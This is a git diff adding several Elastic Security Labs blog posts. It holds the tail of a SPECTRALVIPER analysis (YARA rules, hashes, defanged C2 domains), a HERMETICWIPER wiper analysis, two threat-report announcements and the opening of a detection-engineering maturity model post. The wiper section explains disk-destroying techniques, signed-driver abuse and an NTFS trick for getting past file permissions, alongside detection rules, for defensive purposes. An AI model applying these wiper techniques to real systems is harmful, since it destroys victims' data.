$a2 = "[!] Failed to exec PowerSeal"
|
||||
$a3 = "AppDomain: unable to get the name!"
|
||||
condition:
|
||||
2 of them
|
||||
}
|
||||
```
|
||||
|
||||
```
|
||||
rule Windows_Trojan_P8Loader {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-04-13"
|
||||
last_modified = "2023-05-26"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "P8Loader"
|
||||
threat_name = "Windows.Trojan.P8Loader"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$a1 = "\t[+] Create pipe direct std success\n" fullword
|
||||
$a2 = "\tPEAddress: %p\n" fullword
|
||||
$a3 = "\tPESize: %ld\n" fullword
|
||||
$a4 = "DynamicLoad(%s, %s) %d\n" fullword
|
||||
$a5 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
|
||||
$a6 = "\t[+] No PE loaded on memory\n" wide fullword
|
||||
$a7 = "\t[+] PE argument: %ws\n" wide fullword
|
||||
$a8 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
|
||||
condition:
|
||||
5 of them
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
- [https://www.elastic.co/security-labs/hunting-memory](https://www.elastic.co/security-labs/hunting-memory)
|
||||
- [https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector](https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector)
|
||||
- [https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance](https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance)
|
||||
- [https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/](https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/)
|
||||
- [https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming](https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide)
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/spectralviper) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
| ---------------------------------------------------------------- | ------- | ----------------------------------------- | ------------------------------------ |
|
||||
| 56d2d05988b6c23232b013b38c49b7a9143c6649d81321e542d19ae46f4a4204 | SHA-256 | - | SPECTRALVIPER Related to 1.dll below |
|
||||
| d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8 | SHA-256 | 1.dll | SPECTRALVIPER |
|
||||
| 7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb | SHA-256 | asdgb.exe | SPECTRALVIPER |
|
||||
| 4e3a88cf00e0b4718e7317a37297a185ff35003192e5832f5cf3020c4fc45966 | SHA-256 | Settings.db | SPECTRALVIPER |
|
||||
| 7b5e56443812eed76a94077763c46949d1e49cd7de79cde029f1984e0d970644 | SHA-256 | Microsoft.MicrosoftEdge_8wekyb3d8bbwe.pkg | SPECTRALVIPER |
|
||||
| 5191fe222010ba7eb589e2ff8771c3a75ea7c7ffc00f0ba3f7d716f12010dd96 | SHA-256 | UpdateConfig.json | SPECTRALVIPER |
|
||||
| 4775fc861bc2685ff5ca43535ec346495549a69891f2bf45b1fcd85a0c1f57f7 | SHA-256 | Microsoft.OneDriveUpdatePackage.mca | SPECTRALVIPER |
|
||||
| 2482c7ececb23225e090af08feabc8dec8d23fe993306cb1a1f84142b051b621 | SHA-256 | ms-certificates.sst | SPECTRALVIPER |
|
||||
| stablewindowsapp[.]com | Domain | n/a | C2 |
|
||||
| webmanufacturers[.]com | Domain | n/a | C2 |
|
||||
| toppaperservices[.]com | Domain | n/a | C2 |
|
||||
| hosting-wordpress-services[.]com | Domain | n/a | C2 |
|
||||
| appointmentmedia[.]com | Domain | n/a | C2 |
|
|
@ -0,0 +1,248 @@
|
|||
---
|
||||
title: "Elastic protects against data wiper malware targeting Ukraine: HERMETICWIPER"
|
||||
slug: "elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper"
|
||||
date: "2022-09-09"
|
||||
description: "Analysis of the HERMETICWIPER malware targeting Ukranian organizations."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
- slug: mark-mager
|
||||
- slug: remco-sprooten
|
||||
- slug: jake-king
|
||||
- slug: andrew-pease
|
||||
image: "photo-edited-11@2x.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- hermeticwiper
|
||||
- malware
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
On February 23, 2022, the ESET threat research team [disclosed a series of findings](https://twitter.com/ESETresearch/status/1496581903205511181) pertaining to a Data Wiper malware campaign, impacting hundreds of systems across Ukraine, named [HERMETICWIPER](https://twitter.com/juanandres_gs/status/1496607141888724997). Elastic previously published research on [Operation Bleeding Bear](https://www.elastic.co/security-labs/operation-bleeding-bear), a campaign targeted towards Ukrainian assets with similar destructive intentions.
|
||||
|
||||
Malware Wipers remain a common tactic of adversaries looking to cause havoc on systems impacted by their payloads. Typically this class of malware is designed to wipe the contents of any drives a system may have, rendering the end-users personal data lost. Many more recent examples of this class of payload incorporate tactics that also tamper with the boot process, with HERMETICWIPER being no exception.
|
||||
|
||||
Customers leveraging the Elastic Agent version 7.9+, and above are protected against this specific malware, with further research being undertaken to improve detection efficacy.
|
||||
|
||||

|
||||
|
||||
## Malware Wipers & Ukrainian Targets
|
||||
|
||||
Unfortunately, this is not the first time this year that Ukranian systems have been the target of Data-wiping payloads - Microsoft [published findings](https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/) pertaining to similar, observed attacks that impacted systems within Ukraine, however initially impacting a far smaller number of systems. The publication outlined that the targeting of this specific earlier campaign was focused on multiple government agencies, non-profits, and information technology organizations throughout the country.
|
||||
|
||||
## Malware Stage Analysis
|
||||
|
||||
HERMETICWIPER is digitally signed by Hermetica Digital Ltd., an organization [registered](https://opencorporates.com/companies/cy/HE419469) in Cyprus, and embeds 4 legitimate driver files from [EaseUS Partition Manager](https://www.easeus.com/partition-manager) that are compressed using MS-DOS utility (mscompress). Hermetica Digital Ltd. has revoked the code-signing certificate.
|
||||
|
||||
Upon execution, HERMETICWIPER creates a kernel mode service and interacts with it via DeviceIoControl API function. The main objective is to corrupt any attached physical drive and render the system data unrecoverable.
|
||||
|
||||

|
||||
|
||||
Below is a summary of the events generated during the installation phase using, Windows events logs and Elastic Agent.
|
||||
|
||||

|
||||
|
||||
Following the installation process, HERMETICWIPER determines the dimensions of each partition by calculating the bytes in each sector and sectors in each cluster using the GetDiskFreeSpaceW Windows API [function](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew).
|
||||
|
||||
The malware interacts with the IOCTL interface, passing the parameter IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS with a value of 0x560000 to the device driver in order to retrieve the physical location of the root driver (\\.\C). The root drive corresponds to the volume Windows uses to boot, and its identification is essential to achieve a destructive impact.
|
||||
|
||||
The NTFS/FAT boot sector and random file physical offsets are enumerated for each accessible physical drive, and then overwritten by the output of the CryptGenRandom [API function](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom) and a series of FSCTL_GET_RETRIEVAL_POINTERS and FSCTL_MOVE_FILE IOCTLs.
|
||||
|
||||
Once the system crashes or restarts, the system is unable to boot and the data is corrupted.
|
||||
|
||||

|
||||
|
||||
## Interesting Functionality
|
||||
|
||||
Similar to different ransomware families, HERMETICWIPER avoids specific critical folders and files during the wiping process. This ensures the machine is still operable and will not impact the disk wiping/file corrupting process at a later stage.
|
||||
|
||||

|
||||
|
||||
Another interesting technique observed when targeted files are queued for wiping is how they are accessed by concatenating the value ::$INDEX_ALLOCATION to a filename. This documented [NTFS trick](https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/) is an additional method to bypass access-control list (ACL) permissions on targeted files to provide more reliability when accessing these files.
|
||||
|
||||

|
||||
|
||||
HERMETICWIPER also modifies two registry settings during execution (ShowCompColor and ShowInfoTip), setting those key values to 0. Within Windows, when a user chooses to compress NTFS directories/files, there is a setting that allows the user to differentiate them in Windows Explorer showing them as blue representing compressed data or green for encrypted data. This is an attempt by the malware to not set off any suspicious behavior to the user with different coloring on directories/files before the disk corruption occurs on the machine.
|
||||
|
||||

|
||||
|
||||
## Shredding Component Analysis
|
||||
|
||||
The malware wipes specific target folders/files writing pre-generated random data at specific disk addresses. It does this by setting up 4 different shredding queues in the binary.
|
||||
|
||||

|
||||
|
||||
Each queue usage and its functionality is undetermined, but are used at different points in the sample. The shredding queue is composed of a linked list of targets which contain random pre-generated data (generated at queuing) of the size of the target, the disk number and a linked list of “file” parts with disk addresses and sizes.
|
||||
|
||||
```
|
||||
HERMETICWIPER Structure for ShredTarget function
|
||||
|
||||
struct ctf::ShredTarget
|
||||
{
|
||||
ctf::ShredTarget *p_next;
|
||||
ctf::ShredTarget *p_prev;
|
||||
ctf::FilePart *p_parts;
|
||||
int disk_number;
|
||||
uint8_t *p_random_filled_buffer;
|
||||
int p_random_filled_buffer_size;
|
||||
};
|
||||
```
|
||||
|
||||
```
|
||||
HERMETICWIPER Structure for FilePart function
|
||||
|
||||
struct ctf::FilePart
|
||||
{
|
||||
ctf::FilePart *p_next;
|
||||
ctf::FilePart *p_prev;
|
||||
uint64_t start_address;
|
||||
uint64_t size;
|
||||
};
|
||||
```
|
||||
|
||||
```
|
||||
HERMETICWIPER targeting file, folder, and disk partitions
|
||||
|
||||
ctf::QueueFileShred
|
||||
ctf::QueueFolderShred
|
||||
ctf::callback::IfPathContainNtUserQueueFileShred
|
||||
ctf::callback::QueueNtfsBitmapAndLogAttributeShred
|
||||
ctf::callback::QueueFileShredIfNotSymlink
|
||||
ctf::callback::QueuePartitionFirstClusterShred
|
||||
ctf::callback::QueuePartitionShred
|
||||
```
|
||||
|
||||
The malware emphasizes the following items that are targeted for shredding.
|
||||
|
||||
- The dropped driver if something goes wrong or after service start:
|
||||
|
||||

|
||||
|
||||
- The malware process itself if driver launch goes wrong:
|
||||
|
||||

|
||||
|
||||
- The disk’s partition first cluster (enumerates up to 100):
|
||||
|
||||

|
||||
|
||||
- The System Volume information direct used to store Windows restore points:
|
||||
|
||||

|
||||
|
||||
Interestingly if the computer doesn’t belong to a domain controller it will target more assets:
|
||||
|
||||

|
||||
|
||||
After queuing the different targets previously described, the sample starts different synchronous/asynchronous shredding threads for each of its queues:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
The thread launcher will then start a new thread for each target.
|
||||
|
||||

|
||||
|
||||
The shredding thread will then iterate through the target’s file parts and use the driver for writing at addresses on specified disk.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Driver Analysis
|
||||
|
||||
The driver that is loaded by the user mode component is quite similar to the driver that belongs to Eldos Rawdisk and has been leveraged previously by threat actors like [Shamoon](https://securelist.com/shamoon-the-wiper-further-details-part-ii/57784/) and Lazarus. The difference is that HERMETICWIPER abuses a driver (epmntdrv.sys) that belongs to EaseUS Partition Master, a legitimate disk partitioning software.
|
||||
|
||||
When the driver is loaded, it creates a device named \\Device\\EPMNTDRV and creates a symbolic link to be exposed to user mode. Then, it initializes the driver object with the following entry points.
|
||||
|
||||

|
||||
|
||||
Looking at the dispatch function that handles the IRP_MJ_CREATE requests, we can see that the driver builds the name of the symlink \Device\HarddiskX\Partition0 and saves a pointer to its file object on the driver’s file object fs context. The driver then uses the volume manager device object to obtain a pointer to the highest level device object in the disk device stack.
|
||||
|
||||
After that, it iterates over the stack looking for the Disk driver, that is the Microsoft storage class driver that implements functionality common to all storage devices. Once found, it saves a pointer to its device object in the FsContext2 field of the file object structure.
|
||||
|
||||

|
||||
|
||||
Moving to the function that handles the write requests, we can see that it builds an asynchronous [Input Output Request Packet](https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets) (IRP), which is an API used for drivers to communicate with each other, and forwards it the volume manager device. The buffer used in the IRP is described by the [Memory Descriptor List](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl) (MDL) driver function. Finally, a completion routine is provided that will free the MDL and release memory used by the IRP.
|
||||
|
||||

|
||||
|
||||
The read requests are similar to the write requests in concept, in other words, the IoBuildsynchronousFsdRequest() [API function](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuildsynchronousfsdrequest) uses the IRP_MJ_READ [driver function](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/irp-mj-read) instead of the IRP_MJ_WRITE [driver function](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-write) when sending the IRP to the driver. Finally, the routine that handles I/O control codes finds the highest device object in the stack where the volume manager is located and calls IoBuildDeviceIoControlRequest() to forward the IRP that contains the I/O control code to the appropriate driver.
|
||||
|
||||
> All in all, the driver functionality is very simple. It acts as a proxy between user space and the low level file system drivers, allowing raw disk sector manipulation and as a result circumventing Windows operating system security features.
|
||||
|
||||
## Prebuilt Detection Engine Alerts
|
||||
|
||||
The following existing [public detection rules](https://github.com/elastic/detection-rules) can also be used to detect some of the employed post exploitation techniques described by Symantec Threat Intelligence Team and ESET [[1](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine)][[2](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia)][[3](https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/)] :
|
||||
|
||||
- [Suspicious Cmd Execution via WMI](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_cmd_wmi.toml) (Deployment of wiper via Impacket WMI)
|
||||
- [Direct Outbound SMB Connection](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_direct_outbound_smb_connection.toml) (SMB spreader)
|
||||
- [Remotely Started Services via RPC](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_remote_services.toml) (Remcom)
|
||||
- [Lateral Tool Transfer](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_executable_tool_transfer_smb.toml) (staging PE via file shares for remote execution)
|
||||
- [Potential Credential Access via Windows Utilities](https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml)
|
||||
- [Potential Credential Access via LSASS Memory Dump](https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_suspicious_lsass_access_memdump.toml)
|
||||
- [Process Execution from an Unusual Directory](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_directory.toml)
|
||||
- [Execution from Unusual Directory - Command Line](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml)
|
||||
- [Scheduled Task Execution](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_scheduled_task_runtime.toml)
|
||||
- [Scheduled Task Creation](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_task_creation.toml)
|
||||
- [Suspicious MSHTA Execution](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_mshta_beacon.toml)
|
||||
|
||||
## YARA Rules
|
||||
|
||||
```
|
||||
rule Windows_Wiper_HERMETICWIPER {
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-02-24"
|
||||
last_modified = "2022-02-24"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Wiper"
|
||||
family = "HERMETICWIPER"
|
||||
threat_name = "Windows.Wiper.HERMETICWIPER"
|
||||
description = "Detects HERMETICWIPER used to target Ukrainian organization"
|
||||
reference_sample = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
|
||||
|
||||
strings:
|
||||
$a1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
|
||||
$a2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
|
||||
$a3 = "tdrv.pdb" ascii fullword
|
||||
$a4 = "%s%.2s" wide fullword
|
||||
$a5 = "ccessdri" ascii fullword
|
||||
$a6 = "Hermetica Digital"
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## Observables
|
||||
|
||||
| Observable | Type | Reference | Note |
|
||||
| ---------------------------------------------------------------- | ------- | ------------- | ------------- |
|
||||
| 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 | SHA-256 | Wiper malware | HERMETICWIPER |
|
||||
| 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da | SHA-256 | Wiper malware | HERMETICWIPER |
|
||||
| 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 | SHA-256 | Wiper malware | HERMETICWIPER |
|
||||
| 2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf | SHA-256 | Wiper malware | HERMETICWIPER |
|
||||
|
||||
## Artifacts
|
||||
|
||||
Artifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt42ce05ad40a762e8/628e88d9bd980555189d997b/hermeticwiper-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
## References
|
||||
|
||||
The following research was referenced throughout the document:
|
||||
|
||||
- [https://twitter.com/ESETresearch/status/1496581903205511181](https://twitter.com/ESETresearch/status/1496581903205511181)
|
||||
- [https://twitter.com/juanandres_gs/status/1496607141888724997](https://twitter.com/juanandres_gs/status/1496607141888724997)
|
||||
- [https://elastic.co/security-labs/operation-bleeding-bear](https://elastic.co/security-labs/operation-bleeding-bear)
|
||||
- [https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/](https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/)
|
||||
- [https://opencorporates.com/companies/cy/HE419469](https://opencorporates.com/companies/cy/HE419469)
|
||||
- [https://www.easeus.com/partition-manager](https://www.easeus.com/partition-manager)
|
||||
- [https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-](https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-)
|
||||
- [https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew)
|
||||
- [https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens)
|
||||
- [https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew)
|
||||
- [https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource)
|
|
@ -0,0 +1,29 @@
|
|||
---
|
||||
title: "Elastic publishes 2023 Global Threat Report Spring Edition"
|
||||
slug: "elastic-publishes-2023-global-threat-report-spring-edition"
|
||||
date: "2023-04-28"
|
||||
description: "This week, we’re publishing a new version of this report that’s online and interactive, which includes additional data covering the remainder of 2022, written using Elastic technologies."
|
||||
author:
|
||||
- slug: devon-kerr
|
||||
image: "download_(1).jpg"
|
||||
category:
|
||||
- slug: reports
|
||||
tags:
|
||||
- gtr
|
||||
---
|
||||
|
||||
Last November, Elastic [published](https://www.elastic.co/security-labs/2022-elastic-global-threat-report-announcement) our inaugural global threat report: a summary of threat trends, forecasts, and recommendations based on analyzing millions of telemetry events shared by users around the world. This report is an important part of our continued commitment to transparency, our mission to protect the world's data, as well as a snapshot of our global threat visibility.
|
||||
|
||||
This week, we’re publishing a new version of this report that’s [online](https://ela.st/gtr) and interactive, which includes additional data covering the remainder of 2022, written using Elastic. We’d like to offer a few thoughts on this interactive report and share findings both forecasted and unexpected. Let’s take a look at the 2023 Global Threat Report Spring edition!
|
||||
|
||||

|
||||
|
||||
First, let’s talk about malware: - We observed consistent trends throughout 2022, with the same approximate ratios of different malware types in all geographies - Trojans, cryptominers, and ransomware held the top spots - Linux and Windows continued to see higher rates of malware than MacOS
|
||||
|
||||
Next, consider these cloud observations: - Credential access attempts beat out every other tactic for Microsoft Azure, Google Cloud, and AWS as forecast - Brute force techniques remained steady along with token theft
|
||||
|
||||
But there were also a few new findings: - Impairing defenses by tampering with cloud logging functionality was one of the most common techniques we observed in the later part of 2022 and continues into 2023 - This likely impacted visibility of other techniques due to missing data sources, and is potentially a reaction to improvements in cloud logging - XMRig prevalence exploded on MacOS, likely as a result of macroeconomic conditions
|
||||
|
||||
As excited as we are to begin work on the _next_ Elastic Global Threat Report and review how well we forecasted 2023, it’s been energizing to close out the 2022 calendar year with a few surprises. Defense evasion is still the top tactic for endpoint, credential access is still king of cloud, and malware trends have stayed pretty consistent. [Check it out](https://ela.st/gtr) yourself and learn a little bit about how Elastic’s Canvas technology simplifies visualization.
|
||||
|
||||
If you’re attending RSAC 2023 come visit us at booth #5879, and don’t forget to follow @elasticseclabs on Twitter.
|
|
@ -0,0 +1,19 @@
|
|||
---
|
||||
title: "Elastic publishes 2024 Global Threat Report"
|
||||
slug: "elastic-publishes-2024-gtr"
|
||||
date: "2024-10-01"
|
||||
description: "Elastic Security Labs has released the 2024 Elastic Global Threat Report, surfacing the most pressing threats, trends, and recommendations to help keep organizations safe for the upcoming year."
|
||||
author:
|
||||
- slug: devon-kerr
|
||||
image: "2024-gtr.png"
|
||||
category:
|
||||
- slug: reports
|
||||
tags:
|
||||
- gtr
|
||||
---
|
||||
|
||||
*Elastic Security Labs discovers that threat actors are taking advantage of readily available and commonly abused security tools, and misconfigured environments.*
|
||||
|
||||
Elastic Security Labs has released the [2024 Elastic Global Threat Report](http://www.elastic.co/blog/elastic-global-threat-2024), surfacing the most pressing threats, trends, and recommendations to help keep organizations safe for the upcoming year. Threat actors are finding success from the use of offensive security tools (OSTs), a misconfiguration of cloud environments, and a growing emphasis on Credential Access. This report explores key telemetry from over a billion data points with emphasis on malware trends, adversary tactics, cloud security, and generative AI curated by Elastic Security Labs.
|
||||
|
||||
Read the [announcement](http://www.elastic.co/blog/elastic-global-threat-2024) and [download](https://www.elastic.co/resources/security/report/global-threat-report) the 2024 Elastic Global Threat Report to gain an in-depth understanding of the threat landscape.
|
|
@ -0,0 +1,665 @@
|
|||
---
|
||||
title: "Elastic releases the Detection Engineering Behavior Maturity Model"
|
||||
slug: "elastic-releases-debmm"
|
||||
date: "2024-09-06"
|
||||
subtitle: "Improving detection engineering with Elastic's DEBMM."
|
||||
description: "Using this maturity model, security teams can make structured, measurable, and iteritive improvements to their detection engineering teams.."
|
||||
author:
|
||||
- slug: mika-ayenson
|
||||
- slug: terrance-dejesus
|
||||
- slug: samir-bousseaden
|
||||
image: "debmm.jpg"
|
||||
category:
|
||||
- slug: detection-science
|
||||
- slug: security-operations
|
||||
tags:
|
||||
- detection engineering
|
||||
- detections as code
|
||||
- debmm
|
||||
---
|
||||
|
||||
## Detection Engineering Behavior Maturity Model
|
||||
|
||||
At Elastic, we believe security is a journey, not a destination. As threats evolve and adversaries become more effective, security teams must continuously adapt and improve their processes to stay ahead of the curve. One of the key components of an effective security program is developing and managing threat detection rulesets. These rulesets are essential for identifying and responding to security incidents. However, the quality and effectiveness of these rulesets are directly influenced by the processes and behaviors of the security team managing them.
|
||||
|
||||
To address the evolving challenges in threat detection engineering and ensure consistent improvement across security teams, we have defined the **Detection Engineering Behavior Maturity Model (DEBMM)**. This model, complemented by other models and frameworks, provides a structured approach for security teams to consistently mature their processes and behaviors. By focusing on the team's processes and behaviors, the model ensures that detection rulesets are developed, managed, and improved effectively, regardless of the individual or the specific ruleset in question. This approach promotes a culture of continuous improvement and consistency in threat detection capabilities.
|
||||
|
||||

|
||||
|
||||
The Detection Engineering Behavior Maturity Model outlines five maturity tiers (Foundation, Basic, Intermediate, Advanced, and Expert) for security teams to achieve. Each tier builds upon the previous one, guiding teams through a structured and iterative process of enhancing their behaviors and practices. While teams may demonstrate behaviors at different tiers, skipping or deprioritizing criteria at the prior tiers is generally not recommended. Consistently meeting the expectations at each tier is crucial for creating a solid foundation for progression. However, measuring maturity over time becomes challenging as threats and technologies evolve, making it difficult to define maturity in an evergreen way. This model emphasizes continuous improvement rather than reaching a fixed destination, reflecting the ongoing nature of security work.
|
||||
|
||||
Note it is possible, and sometimes necessary, to attempt the behaviors of a higher tier in addition to the behaviors of your current tier. For example, attempting to enhance Advanced TTP Coverage may cover an immediate risk or threat, further cultivating expertise among engineers at the basic level. This flexibility ensures that security teams can prioritize critical improvements and adapt to evolving threats without feeling constrained by the need to achieve perfection at each level. The dual dimensions of maturity ensure a balanced approach, fostering a culture of ongoing enhancement and adaptability. Additionally, the model is designed to complement well-adopted frameworks in the security domain, adding unique value by focusing on the maturity of the team's processes and behaviors that underpin effective detection ruleset management.
|
||||
|
||||
| Model/Framework | Focus | Contribution of the DEBMM |
|
||||
|:-----------------------------------------------------------:|:------------------------------------------------------------------------------------------------------:|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------:|
|
||||
| Hunting Maturity Model [[REF](https://www.sans.org/tools/hunting-maturity-model/)] | Proactive threat hunting practices and processes for improving threat detection capabilities. | Enhances the proactive aspects by integrating regular and systematic threat-hunting activities into the ruleset development and management process. |
|
||||
| NIST Cybersecurity Framework (NIST CSF) [[REF](https://www.nist.gov/cyberframework)] | Identifying, Protecting, Detecting, Responding, and Recovering from cybersecurity threats. | Enhances the 'Detect' function by offering a structured model specifically for detection ruleset maturity, aligning with NIST CSF's core principles and providing detailed criteria and measures for detection capabilities. It also leverages the Maturity Levels—initial, Repeatable, Defined, Managed, and Optimized. |
|
||||
| MITRE ATT&CK Framework [[REF](https://attack.mitre.org/)] | Describes common tactics, techniques, and procedures (TTPs) threat actors use. | Supports creating, tuning, and validating detection rules that align with TTPs, ensuring comprehensive threat coverage and effective response mechanisms. |
|
||||
| ISO/IEC 27001 [[REF](https://www.iso.org/obp/ui/en/#iso:std:iso-iec:27001:ed-3:v1:en)] | Information security management systems (ISMS) and overall risk management. | Contributes to the 'Detect' and 'Respond' domains by ensuring detection rules are systematically managed and continuously improved as part of an ISMS. |
|
||||
| SIM3 v2 – Security Incident Management Maturity Model [[REF](https://opencsirt.org/wp-content/uploads/2023/11/SIM3_v2_interim_standard.pdf)] | Maturity of security incident management processes. | Integrates structured incident management practices into detection ruleset management, ensuring clear roles, documented procedures, effective communication, and continuous improvement. |
|
||||
| Detection Engineering Maturity Matrix [[REF](https://detectionengineering.io)] | Defines maturity levels for detection engineering, focusing on processes, technology, and team skills. | Provides behavioral criteria and a structured approach to improving detection engineering processes. |
|
||||
|
||||
Among the several references listed in the table, the Detection Engineering Maturity Matrix is the closest related, given its goals and methodologies. The matrix defines precise maturity levels for processes, technology, and team skills, while the DEBMM builds on this foundation by emphasizing continuous improvement in engineering behaviors and practices. Together, they offer a comprehensive approach to advancing detection engineering capabilities, ensuring structural and behavioral excellence in managing detection rulesets while describing a common lexicon.
|
||||
|
||||
**A Small Note on Perspectives and the Importance of the Model**
|
||||
|
||||
Individuals with diverse backgrounds commonly perform detection engineering. People managing detecting engineering processes must recognize and celebrate the value of diverse backgrounds; DEBMM is about teams of individuals, vendors, and users, each bringing different viewpoints to the process. This model lays the groundwork for more robust frameworks to follow, complementing existing ones previously mentioned while considering other perspectives.
|
||||
|
||||
### What is a threat detection ruleset?
|
||||
|
||||
Before we dive into the behaviors necessary to mature our rulesets, let's first define the term. A threat detection ruleset is a group of rules that contain information and some form of query logic that attempts to match specific threat activity in collected data. These rules typically have a schema, information about the intended purpose, and a query formatted for its specific query language to match threat behaviors. Below are some public examples of threat detection rulesets:
|
||||
|
||||
* Elastic: [Detection Rules](https://github.com/elastic/detection-rules) | [Elastic Defend Rules](https://github.com/elastic/protections-artifacts)
|
||||
* Sigma: [Sigma Rules](https://github.com/SigmaHQ/sigma)
|
||||
* DataDog: [Detection Rules](https://docs.datadoghq.com/security/detection_rules/)
|
||||
* Splunk: [Detections](https://research.splunk.com/detections/)
|
||||
* Panther: [Detection Rules](https://github.com/panther-labs/panther-analysis)
|
||||
|
||||
Detection rulesets often fall between simple Indicator of Compromise (IOC) matching and programmable detections, such as those written in Python for Panther. They balance flexibility and power, although they are constrained by the detection scripting language's design biases and the detection engine's features. It is important to note that this discussion is focused on search-based detection rules typically used in SIEM (Security Information and Event Management) systems. Other types of detections, including on-stream and machine learning-based detections, can complement SIEM rules but are not explicitly covered by this model.
|
||||
|
||||
Rulesets can be further categorized based on specific criteria. For example, one might assess the Amazon Web Services (AWS) ruleset in Elastic’s Detection Rules repository rather than rules based on all available data sources. Other categories might include all cloud-related rulesets, credential access rulesets, etc.
|
||||
|
||||
### Why ruleset maturity is important
|
||||
|
||||
**Problem:** It shouldn't matter which kind of ruleset you use; they all benefit from a system that promotes effectiveness and rigor. The following issues are more prominent if you're using an ad-hoc or nonexistent system of maturity:
|
||||
|
||||
